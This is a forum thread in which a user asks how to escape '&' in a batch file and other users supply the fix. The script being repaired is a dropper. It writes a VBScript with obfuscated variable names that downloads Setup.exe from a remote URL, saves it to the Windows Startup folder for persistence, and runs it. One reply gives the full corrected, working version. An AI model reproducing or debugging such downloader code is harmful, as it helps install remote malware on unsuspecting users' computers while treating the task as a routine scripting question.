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Thread: [Batch file write how to escape &.](#)

LayersOSImodel - October 30, 2015, 5:29 pm

Hey guys,

I have a problem with a line of my batch file.

it will create a file and write inside, the problem being there is this symbole "&" in a line. so the batch write all the lines inside except the line containing "&".

I dont know why, the batch file wont write this line, why ?

SavageBoys - October 30, 2015, 5:53 pm

Remove the character, does it write it?

You could try escaping it: ^&

b00st3d - October 30, 2015, 7:21 pm

You need to escape some characters as stated by Evolution, but more. Also, there is no need for all the @ symbols @echo off at the top covers the entire document.

in the line you posted, you need to escape the "(", ")", and the "&" with "^". See the corrected code below and make the same changes throughout the script.

```
Code @echo KAmDVzCy = MumvkjDH.SpecialFolders^("Startup") ^& "\\Setup.exe" >>
%public%\test.vbs
```

In this case, the problem originates at the line above the posted line, which should be written as follows.

```
Code @echo Set MumvkjDH = CreateObject^("WScript.Shell") > %public%\test.vbs
```

for reference on this and other escape characters: [escape characters](#)

Kinda unrelated ([Click to View](#))

When writing a new file, rather than redirecting each line to a file do the following...this is also showing you all the changes you need to make your script work O.O

```
Code @echo off
)
echo Set MumvkjDH = CreateObject^("WScript.Shell")
echo KAmDVzCy = MumvkjDH.SpecialFolders^("Startup") ^& "\\Setup.exe"
echo wscript.sleep 3000
echo call
CYVmMffz^("http://demo.ovh.eu/download/0718bcf1d04b3b68045cebf8345132a6/Setup.exe",KAmDVzCy)
echo sub CYVmMffz^(sitelink,filename^)
echo dim EUwMwgNd
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echo Set EUwMwgNd = createobject^("msxml2.xmlhttp"^)
echo dim cJnlrwwK
echo Set cJnlrwwK = createobject^("Adodb.Stream"^)
echo EUwMwgNd.Open "GET", sitelink, False
echo EUwMwgNd.Send
echo with cJnlrwwK
echo .type = 1
echo .open
echo .write EUwMwgNd.responseBody
echo .savetofile FileName , 2
echo end with
echo end sub
echo MumvkjDH.Exec ^(KAmdVzCy^
) > %public%\test.vbs
start %public%\test.vbs
```

LayersOSImodel - *October 30, 2015, 7:34 pm*

(Oct 30, 2015 05:53 PM)Ev?luti?n Wrote: [\[CITE\]](#) Remove the character, does it write it?

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it work, thank you very much